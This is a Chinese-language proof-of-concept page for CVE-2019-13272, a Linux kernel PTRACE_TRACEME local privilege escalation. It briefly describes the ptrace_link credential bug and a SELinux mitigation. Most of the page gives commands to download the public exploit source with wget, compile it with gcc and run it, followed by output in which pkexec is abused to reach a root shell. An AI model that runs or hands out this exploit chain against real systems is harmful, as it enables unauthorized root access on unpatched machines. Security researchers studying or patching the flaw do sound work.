在5.1.17之前的Linux内核中,
kernel/ptrace.c中的ptrace_link错误地处理了想要创建ptrace关系的进程的凭据记录,
这允许本地用户通过利用父子进程关系的某些场景来获取root访问权限,
其中父进程降权并调用execve(可能允许攻击者控制)。
一个影响因素是对象生命周期问题(也可能导致内核恐慌)。
另一个影响因素是将ptrace关系错误地标记为特权关系,这可以通过(例如)Polkit的pkexec辅助程序配合PTRACE_TRACEME来利用。
注意:在某些环境中,SELinux deny_ptrace可能是一种可行的解决方法。

wget https://raw.githubusercontent.com/jas502n/CVE-2019-13272/master/CVE-2019-13272.c
gcc -s CVE-2019-13272.c -o pwned
jas502n@Study:~/Desktop/CVE-2019-13272$ ./pwned
Linux 4.10 < 5.1.17 PTRACE_TRACEME本地提权 (CVE-2019-13272)
[.] 检查环境...
[~] 完成,看起来不错
[.] 搜索已知辅助程序...
[~] 发现已知辅助程序:/usr/lib/gnome-settings-daemon/gsd-backlight-helper
[.] 使用辅助程序:/usr/lib/gnome-settings-daemon/gsd-backlight-helper
[.] 生成suid进程(/usr/bin/pkexec)...
[.] 跟踪中间pid...
[~] 已附加到中间pid
以管理员(用户"root")身份运行命令,请使用 "sudo <命令>"。
详情请参阅 "man sudo_root"。
root@Study:/home/jas502n/Desktop/CVE-2019-13272#
https://bugs.chromium.org/p/project-zero/issues/detail?id=1903